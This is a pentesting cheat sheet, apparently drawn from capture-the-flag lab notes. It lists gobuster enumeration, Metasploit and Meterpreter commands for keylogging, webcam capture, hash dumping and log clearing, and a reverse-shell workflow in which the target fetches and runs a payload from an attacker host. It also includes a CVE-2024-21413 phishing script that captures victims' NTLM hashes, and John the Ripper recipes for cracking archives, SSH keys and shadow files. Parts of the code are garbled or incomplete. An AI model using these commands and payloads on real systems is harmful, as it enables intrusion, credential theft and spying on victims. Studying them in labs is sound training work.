RED BOOK

Short examples for pentesting/hacking

GOBUSTER CRAWLER BRUTE FORCE WEBSITE PAGES

Using wordlist, search for directories, subdomains, pages on webserver.

gobuster dir -u http://WEBPAGE -w WORDLIST.txt

- -u is used to state the website we're scanning,
- -w takes a list of words to iterate through to find hidden pages
- -dir search for directories

gobuster --help

gobuster COMMAND --help

Search through directories:

gobuster dir -u "http://www.example.thm/" -w /usr/share/wordlists/dirb/small.txt -t 64

Lists directories and inside files .php and .js

gobuster dir -u "http://www.example.thm" -w WORDLIST -x .php,.js

Search through subdomains:

gobuster dns -d example.thm -w WORDLIST

Search through vhosts (different websites on same ip):

gobuster vhost -u "http://example.thm" -w WORDLIST gobuster vhost -u "http://IP" --domain example.thm -w WORDLIST --append-domain --exclude-length 250-320

METASPLOIT COMMANDS

Msfconsole

Ls

Ping 8.8.8.8 -c1 (counter 1)

Help set

History

use MODULENAME

Show options

Show payloads

Info MODULENAME

Back

Search SOMETHING

Search type:auxiliary telnet

Set **RPORT**: "Remote port", target port on the vulnerable system.

Set PAYLOAD: The payload you will use with the exploit.

Set **LHOST**: "Localhost", the attacking machine (your AttackBox or Kali Linux) IP address. Set **LPORT**: "Local port", the port on attacker you will use for the reverse shell to connect

back to.

Set **SESSION**: Each connection established to the target system using Metasploit have a session ID. You will use this with post-exploitation modules that will connect to the target system using an existing connection.

Setg -set values globally

Unset unset all -clear all parameters

Run - run configured exploit

Exploit -z -run process in background

background -check session name of running process

Sessions -check sessions info

Session -i SESSIONNUMBER -switch to session number

Examples

use exploit/windows/smb/ms17 010 eternalblue

Show options

set rhosts 10.10.165.3

Set rhosts FILEWITHTARGETIPS.txt

METERPRETER COMMANDS

Core commands

background: Backgrounds the current session

exit: Terminate the Meterpreter session

guid: Get the session GUID (Globally Unique Identifier)

help: Displays the help menu

info: Displays information about a Post module

irb: Opens an interactive Ruby shell on the current session

load: Loads one or more Meterpreter extensions

migrate: Allows you to migrate Meterpreter to another process

run: Executes a Meterpreter script or Post module

sessions: Quickly switch to another session

File system commands

edit: will allow you to edit a file search: Will search for files

upload: Will upload a file or directory

download: Will download a file or directory

Networking commands

arp: Displays the host ARP (Address Resolution Protocol) cache ifconfig: Displays network interfaces available on the target system

netstat: Displays the network connections

portfwd: Forwards a local port to a remote service route: Allows you to view and modify the routing table

System commands

clearev: Clears the event logs execute: Executes a command

getpid: Shows the current process identifier

getuid: Shows the user that Meterpreter is running as

kill: Terminates a process

pkill: Terminates processes by name

ps: Lists running processes

reboot: Reboots the remote computer

shell: Drops into a system command shell like CMD/Powershell

shutdown: Shuts down the remote computer

sysinfo: Gets information about the remote system, such as OS

Others Commands (these will be listed under different menu categories in the help menu)

idletime: Returns the number of seconds the remote user has been idle

keyscan_dump: Dumps the keystroke buffer keyscan_start: Starts capturing keystrokes keyscan_stop: Stops capturing keystrokes

screenshare: Allows you to watch the remote user's desktop in real time

screenshot: Grabs a screenshot of the interactive desktop

record_mic: Records audio from the default microphone for X seconds

webcam_chat: Starts a video chat webcam_list: Lists webcams

webcam_snap: Takes a snapshot from the specified webcam

webcam_stream: Plays a video stream from the specified webcam getsystem: Attempts to elevate your privilege to that of local system

hashdump: Dumps the contents of the SAM database

METERPRETER REVERSE SHELL EXAMPLE

On attacker:

msfvenom -p php/reverse_php LHOST=ATTACKERIP LPORT=8888 -f raw > reverse shell.php

use exploit/multi/handler

```
set payload linux/x86/meterpreter/reverse tcp
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set Ihost ATTACKERIP

set Iport 9000

run

Transfer file to target device, on attacker device run HTTP server:

python3 -m http.server 9000 (open http on port 9000)

On target device:

wget http://ATTACKERIP:9000/reverse_shell.php

chmod 777 reverse_shell.php

./reverse shell.php

Now reverse shell on meterpreter is opened.

MONKIER LINK (CVE-2024-21413)

Send Moniker Link to a victim, resulting in Outlook sending the user's NTLM credentials to the attacker once the hyperlink is clicked. The vulnerability here exists by modifying our hyperlink to include the ! special character and some text in our Moniker Link which results in bypassing Outlook's Protected View.

Example Monkier link in HTML code to send on target to click:

Click me.

Moniker link script for remote code execution, save as example.py

"

Author: CMNatic | https://github.com/cmnatic

Version: 1.0 | 19/02/2024

"

import smtplib

from email.mime.text import MIMEText

from email.mime.multipart import MIMEMultipart

from email.utils import formataddr

sender_email = 'attacker@monikerlink.thm' # Replace with your sender email address receiver_email = 'victim@monikerlink.thm' # Replace with the recipient email address password = input("Enter your attacker email password: ")

html content = """\

<!DOCTYPE html>

<html lang="en">

Click me

</body>

```
</html>"""
message = MIMEMultipart()
message['Subject'] = "CVE-2024-21413"
message["From"] = formataddr(('CMNatic', sender email))
message["To"] = receiver email
# Convert the HTML string into bytes and attach it to the message object
msgHtml = MIMEText(html content,'html')
message.attach(msgHtml)
server = smtplib.SMTP('MAILSERVER', 25)
server.ehlo()
try:
  server.login(sender email, password)
except Exception as err:
  print(err)
  exit(-1)
try:
  server.sendmail(sender email, [receiver email], message.as string())
  print("\n Email delivered")
except Exception as error:
  print(error)
finally:
  server.quit()
```

With responder tool listen on ens5 network interface:

responder -I ens5

Run python exploit.py

When target clicks link we will get info, NTLMv2 hash from responder window.

JOHN THE RIPPER

RAR2JOHN

Brute force RAR password protected file.

rar2john [rar file] > [output file]

First, extract the hash (password hash) from a RAR file:

/opt/john/rar2john rarfile.rar > rar hash.txt

Brute force file with rar hash:

john --wordlist=/usr/share/wordlists/rockyou.txt rar_hash.txt

Unpack password protected rar file and enter password found.

unrar rarfile.rar

SSH2john

Crack the SSH private key from id_rsa and brute force hash to get password. ssh2john converts the id_rsa private key, which is used to log in to the SSH session, into a hash

format that John can work with.

python3 /opt/john/ssh2john.py

ssh2john [id rsa private key file] > [output file]

/opt/john/ssh2john.py FILE.id_rsa > ssh_hash.txt

john --wordlist=/usr/share/wordlists/rockyou.txt ssh_hash.txt

Zip2john

Brute force ZIP password protected file. First create hash from zip file.

zip2john SOMEZIP.zip > ziphash.txt

Brute force hash zip file for password.

john --wordlist=/usr/share/wordlists/rockyou.txt ziphash.txt

john --show ziphash.txt

Custom rules John

Custom passwords generator.

In file: /opt/john/john.conf or /etc/john/john.conf create:

[List.Rules:THMRules] is used to define the name of your rule

Az: Takes the word and appends it with the characters you define

A0: Takes the word and prepends it with the characters you define

c: Capitalises the character positionally

[0-9]: Will include numbers 0-9

[0]: Will include only the number 0

[A-z]: Will include both upper and lowercase

[A-Z]: Will include only uppercase letters

[a-z]: Will include only lowercase letters

Example: [List.Rules:PoloPassword]

cAz"[0-9] [!£\$%@]"

Utilises the following: c: Capitalises the first letter, Az: Appends to the end of the word, [0-9]:

A number in the range 0-9

[!£\$%@]: The password is followed by one of these symbols.

We cand then call this custom rule with argument using the --rule=PoloPassword flag.

john --wordlist=[path to wordlist] --rule=PoloPassword [path to hashfile]

UNHASH ROOT USER SHADOW FILE WITH JOHN

Unshadow /etc/passwd /etc/shadow > passfile.txt john --wordlist=/usr/share/wordlists/rockyou.txt --format=sha512crypt passfile.txt John --show passfile.txt

JOHN THE RIPPER - CRACK HASH

john --wordlist=[path to wordlist] --format=[format] [path to hashfile]

Use hash identifier to check for hash format:

https://hashes.com/en/tools/hash_identifier

Python hash identifier:

https://gitlab.com/kalilinux/packages/hash-identifier/-/tree/kali/master

Launch hash identifier: python3 hash-id.py

Search for John formats - check hash formats for md5:

john --list=formats | grep -iF "md5"

Example full command:

john --format=raw-sha256 --wordlist=/usr/share/wordlists/rockyou.txt hash3.txt

Check cracked hash:

Cat /home/user/src/john/run/john.pot

GOBUSTER CRAWLER BRUTE FORCE SEARCH WEBPAGES

Using wordlist, search for directories on webserver to detect what pages webserver have.

gobuster -u http://WEBPAGE -w WORDLIST.txt dir

- -u is used to state the website we're scanning
- -w takes a list of words to iterate through to find hidden pages
- -dir search for directories

TRANSFER FILES USING HTTP

Start http server with Python (Win) and download files on target with wget request. On attacker (win):

python3 -m http.server 1234 c:/testdir

-1234 is port where http server will listen, and in last part is directory for http server (not required). For Linux, you could use **python -m SimpleHTTPServer PORT** On target in CMD (win/linux/any):

wget http://ATTACKERIP:1234/SOMEFILEINROOTDIR